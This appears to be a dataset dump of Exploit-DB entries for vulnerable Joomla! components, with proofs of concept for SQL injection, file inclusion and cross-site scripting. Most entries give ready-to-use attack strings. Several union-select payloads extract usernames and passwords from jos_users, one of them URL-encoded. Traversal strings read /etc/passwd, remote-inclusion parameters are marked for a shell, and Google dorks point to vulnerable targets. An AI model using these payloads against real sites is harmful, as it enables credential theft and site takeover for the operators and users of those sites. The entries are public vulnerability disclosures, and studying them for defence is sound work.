deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4499
Description: Joomla! Component mosmedialite451 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-08
Author: k1n9k0ng

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : MOSMediaLite451
Discovered By   : k1n9k0ng
Scripts site    : http://www.djoomla.com/component/option,com_remository/Itemid,2/func,fileinfo/id,104/
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #r.i.p, #x-code, #yogyafree
special To      : adhietslank, babypunk, cyberlog, cah_gemblunkz, the_sims, ARiee, letjen, k1tk4t
site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
include_once( $mosConfig_absolute_path . "/administrator/components/com_mosmedia/mosmedia.config.php" );

bug found:
"http://www.site.net/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=[shell] " 

# milw0rm.com [2007-10-08]
Exploit-DB #41393
Description: Joomla! Component Most Wanted Real Estate 1.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Most Wanted Real Estate v1.1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_mostwantedrealestate
# Date: 18.02.2017
# Vendor Homepage: http://mostwantedrealestatesites.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/most-wanted-real-estate/
# Demo: http://demo.mostwantedrealestatesites.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?filter_a1search=Ihsan_Sencan&filter_a1type=0&filter_a1minprice=&filter_a1maxprice=&filter_a1locality=0&filter_a1minbed=0&filter_a1minbaths=&filter_a1minarea=&filter_a1maxarea=&filter_a1minland=&filter_a1maxland=&filter_a1landtype=0&which_order=[SQL]
# http://localhost/[PATH]/?filter_a1search=Ihsan_Sencan&filter_a1type=0&filter_a1minprice=&filter_a1maxprice=&filter_a1locality=0&filter_a1minbed=0&filter_a1minbaths=&filter_a1minarea=&filter_a1maxarea=[SQL]
# http://localhost/[PATH]/?filter_a1search=Ihsan_Sencan&filter_a1type=0&filter_a1minprice=&filter_a1maxprice=&filter_a1locality=0&filter_a1minbed=0&filter_a1minbaths=&filter_a1minarea=[SQL]
# Etc...
# # # # #
Exploit-DB #4507
Description: Joomla! Component mp3 allopass 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-10
Author: NoGe

Exploit:
# com_mp3_allopass joomla component Remote File Include Vulnerability

   Component       : com_mp3_allopass
   Download file   : http://www.joomlaratings.com
   Dicovered by    : NoGe
   Contact         : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable file

   /components/com_mp3_allopass/allopass.php

   line 3 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php");

   /components/com_mp3_allopass/allopass-error.php

   line 2 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php");

# Exploit

   http://localhost/path/components/com_mp3_allopass/allopass.php?mosConfig_live_site=[evilcode]
   http://localhost/path/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=[evilcode]

# google dork

   inurl:com_mp3_allopass

==================================================================================================================================

# Greetz

   all member #papuahacker #nyubicrew #baliemhackerlink
   skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie str0ke
   yooogy H312Y Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
   http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-10]
Exploit-DB #12611
Description: Joomla! Component MS Comment 0.8.0b - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-15
Author: Xr0b0t

Exploit:
[!]===========================================================================[!]

[~] Joomla Component MS Comment LFI Vulnerability 
[~] Author	: Xr0b0t (nyco.danis@gmail.com)
[~] Homepage	: http://www.indonesiancoder.com | http://Xr0b0t.name | http://Malangcyber.com
[~] Date	: 16 Mei, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"com_mscomment" ;)
[+] Version : 0.8.0b maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_mscomment&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] kaMtiEz dulurku seng paling ganteng, endi kok ra rene
[+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck,Geni212
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha


[ NOTE ]

[+] OJOK JOTOS2an YO ..
[+] Minggir semua Arumbia Team Mau LEwat ;)
[+] MBEM : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x...
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..
[+] Malang Cyber Crew & Magelang Cyber Community
Exploit-DB #33646
Description: Joomla! Component MS Comment 0.8.0b - Security Bypass / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-31
Author: Jeff Channell

Exploit:
source: https://www.securityfocus.com/bid/38250/info

The MS Comment component for Joomla! is prone to a security-bypass vulnerability because it fails to properly sanitize user-supplied input. The component is also prone to a security-bypass vulnerability because it fails to reset the CAPTCHA after a submission.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MS Comment 0.8.0b is vulnerable; other versions may also be affected. 

The following example commands are available:

" onmouseover="alert(String.fromCharCode(88,83,83))

" style="color:expression(alert(String.fromCharCode(88,83,83)))
Exploit-DB #12233
Description: Joomla! Component MT Fire Eagle 1.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
=================================================================================================================


  [o] Joomla Component MT Fire Eagle Local File Inclusion Vulnerability
 
       Software : com_mtfireeagle version 1.2
       Vendor   : http://www.moto-treks.com/
       Download : http://joomlacode.org/gf/project/jfireeagle/frs/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_mtfireeagle&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #12159
Description: Joomla! Component Multi-Venue Restaurant Menu Manager 1.5.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-11
Author: Valentin

Exploit:
# Exploit Title: Joomla Component Multi-Venue Restaurant Menu Manager SQL Injection Vulnerability
# Date: 11.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: 
# Tested on: 
# CVE :  
# Code : 

:: General information
:: Joomla Component Multi-Venue Restaurant Menu Manager SQL Injection Vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name =  Multi-Venue Restaurant Menu Manager (MVRMM)
:: Vendor = Focusplus Developments Ltd.
:: Vendor Website = http://www.focusdev.co.uk/
:: Affected versions = 1.5.2 Stable Update 3 and all previous versions

:: SQL Injection Vulnerability
Vulnerable Parameter
"mid"

Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=XX&mid=XX&Itemid=XX

:: Additional information
Exploitation can be a little bit tricky.

:: Misc
Greetz && Thanks to the inj3ct0r team, Exploit DB, hack0wn and ExpBase!
Exploit-DB #41442
Description: Joomla! Component MultiTier 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component MultiTier v3.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_multitier
# Date: 23.02.2017
# Vendor Homepage: http://www.beesto.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/affiliate-systems/multitier/
# Demo: http://www.beesto.com/extensions/13-j-multitier/40-demo
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/component/multitier/?mtpage=takecodel&tid=1&lid=[SQL]
# -66'+/*!50000union*/+select+1,0x496873616e2053656e63616e,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8+-- -
# http://localhost/[PATH]/index.php/component/multitier/?mtpage=link_preview&id=[SQL]
# -66'+/*!50000union*/+select+1,0x496873616e2053656e63616e,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8+-- -
# http://localhost/[PATH]/index.php/component/multitier/?mtpage=takecodeb&tid=1&bid=[SQL]
# -66'+/*!50000union*/+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),2,3+-- -
# # # # #
Exploit-DB #45465
Description: Joomla! Component Music Collection 3.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Music Collection 3.0.3 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://joomlathat.com/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/music-collection/
# Version: 3.0.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17375
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php/music-collection/playlist-0-on-the-go?task=edit_playlist&id=[SQL]
# 
# 0%20%4f%52%20%28%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29
#  
# # # #
Exploit-DB #14274
Description: Joomla! Component Music Manager - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-08
Author: Sid3^effects

Exploit:
Critical Level 	: HIGH
Vendor Url : http://danieljamesscott.org/software/4-joomla-extensions/4-music-manager.html
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
Description 
Music Manager is an extension for Joomla! 1.5 which allows management of a music collection. It is easy to use and very flexible. Users can manage their music collection by artist, album and song. This component provides users with the ability to manage their music collection in a flexible and professional manner.

Begin by adding an entry to the 'Artists' table. This can be just yourself, if you are building your own music website, or every artist on the planet if you're building a music library. Then, add albums and fill in the name, description and creation year. Album art can be added to the images/albumart directory using the media manager and will then appear in the select-list on the album page. Finally, add songs to each album, upload mp3s to the images/songs directory and select them from the drop-down list.
######################################################################################################
Xploit :LFI Vulnerability

Demo Url :http://server/component/music/album.html?cid=[LFI]%00
#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #10250
Description: Joomla! Component MusicGallery - SQL Injection
Type: webapps
Platform: php
Date: 2009-11-30
Author: Don Tukulesto

Exploit:
/**************************************************************************

[!] Joomla Component MusicGallery SQL injection vulnerability
[!] Author	: Don Tukulesto (root@indonesiancoder.com)
[!] Homepage	: http://www.indonesiancoder.com
[!] Date	: November 15, 2009
[!] Tune In	: http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Download : http://joomlacode.org/gf/project/musicgallery/
[+] Developer Info : Itamar Elharar
[+] Description : multimedia mp3 gallery by category.
[+] Development Status: 4 - Beta
[+] License: GNU General Public License (GPL)
[+] Vulnerability : SQL injection


===========================================================================

[ Here we go.. Proof of Concept ]

http://server/index.php?option=com_musicgallery&task=itempage&id=[INDONESIANCODER]

[ Exploit ]

index.php?option=com_musicgallery&task=itempage&id=-23+union+select+1,1,concat%28username,0x3a,password%29,1,database%28%29,666,1,version%28%29,0x446f6e2054756b756c6573746f,1,2009,0x496e646f6e657369616e20436f646572,1,1,1+from+jos_users--&Itemid=54


===========================================================================

[ Who The Hell Has Control of That Damn Smoke Machine ]

[~] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown
[~] kaMtiEz, M3NW5, arianom, Contrex, tiw0L, Pathloader, abah_benu, Saint, Cyb3r_tr0n, M364TR0N, VycOd,
[~] Jack-, Yadoy666 + miya666, s4va, senot, Bayu5154, Gonzhack, Tucker, Ian Petrucii, Ronz & FeeLCoMz
[~] kecemplungkalen, DraCoola Multimedia, XNITRO, rey_cute, Awan Bejat, Plaque, Gh4mb4s and YOU!!

[ Not ALLOWED ! ] 

[+] FOR MALINGSIAL


[ QUOTE ]

[+] kaMtiEz : nyelip dari mana ini yah !!! lol~
[+] ok, Don't forget to say : Saya terima nikmatnya anak bapak dengan seperangkat alat kelamin di bayar tunai.
[+] also Dengan kekuatan datang bulan... akan menghukum mu !!! XD
Exploit-DB #12162
Description: Joomla! Component mv_restaurantmenumanager - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-11
Author: Sudden_death

Exploit:
=========================================================
Joomla component mv_restaurantmenumanager SQL injection Vulnerability
=========================================================

# Exploit Title     : joomla component mv_restaurantmenumanager SQL injection Vulnerability
# Date              : 12 april 2010
# Author            : Sudden_death (suddendeath404@yahoo.com)
# Software Link     : N/A
# Tested on         : Windows XP 2
# Platform/Tested on: Windows XP 2 SP 2
# category          : webapps/0day
# myweb             : http://suddendeath.000space.com/
# dork              : inurl:option=com_mv_restaurantmenumanager
# Code                 :+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users

======================================================================

# EXPLOIT / c0de

+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users


# VULN IN HERE

http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5[c0de<http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5%5Bc0de>}



# EXAMPLE

http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users<http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5+and+1=2+union+select+1,2,group_concat%28username,0x3a,password%29,4,5,6,7,8,9,10,11,12+from+jos_users>


[#]-------------------------------------------------------------------

GREETZ TO WE FORUM:
[ indonesianhacker[dot]com | indonesiandefacer[dot]org ]

[#]-------------------------------------------------------------------

MY BROTHA :
| MISTERFRIBO | BobyPutrA | Syst3m_RtO | bumble_be | CS-31 | d43ngCyb3r | Ichito-Bandito | james0baster |
| kaMtiEz | Man In Black | otong | r3m1ck's | shadowsmaker | SyNTaX ErRoR | iJoo | FLYFF666 | LOL1ds |
| cah_surip | demnas | RXn7 | and all crew indonesia hacker :D |

[#]-------------------------------------------------------------------

note :jangan mengatakan setiap apa yang engkau ketahui tapi ketahuilah setiap apa yang kau katakan!
Exploit-DB #12779
Description: Joomla! Component My Car 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-28
Author: Valentin

Exploit:
# Exploit Title: Joomla Component My Car Multiple Vulnerabilities
# Date: 28th May 2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component MyCar Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = My Car
Vendor = unisoft.me
Vendor Website = http://www.unisoft.me/extensions/
Affected Version(s) = 1.0

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> XSS 
Example URI:
index.php?option=com_mycar&task=1&pagina=0&ordine=preveh&modveh=[XSS]


>> Information Disclosure
Just play around with the parameters and URLS. You will notice that various errors
(e.g. SQL errors) occur. They reveal information about the SQL queries within the
PHP code and the absolute path of the website. Not very dangerous, but sometimes useful.


>> Possible SQL Injection
Triggering SQL errors with the help of several parameters is possible.
Example URI:
index.php?option=com_mycar&task=1&pagina=-1


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 28th May 2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB and hack0wn!
Special Greetz = cr4wl3r and /JosS!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #12173
Description: Joomla! Component My Files 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
=============================================================================================================


  [o] Joomla Component My Files Local File Inclusion Vulnerability
 
       Software : com_myfiles version 1.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_myfiles&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_myfiles&controller=../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=============================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #41463
Description: Joomla! Component My MSG 3.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-25
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component My MSG v3.2.1 - SQL Injection
# Google Dork: N/A
# Date: 25.02.2017
# Vendor Homepage: https://www.cmsplugin.com/
# Software : https://www.cmsplugin.com/products/components/10-my-msg
# Demo: http://extensions.cmsplugin.com/extensions/j3demo/my-msg
# Version: 3.2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?option=com_mymsg&layout=edit&reply_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_mymsg&view=msg&filter_box=[SQL]
# http://localhost/[PATH]/index.php?option=com_mymsg&view=mymsg&Ihsan_Sencan=[SQL]
# '+order+by+10-- -
# Etc...
# # # # #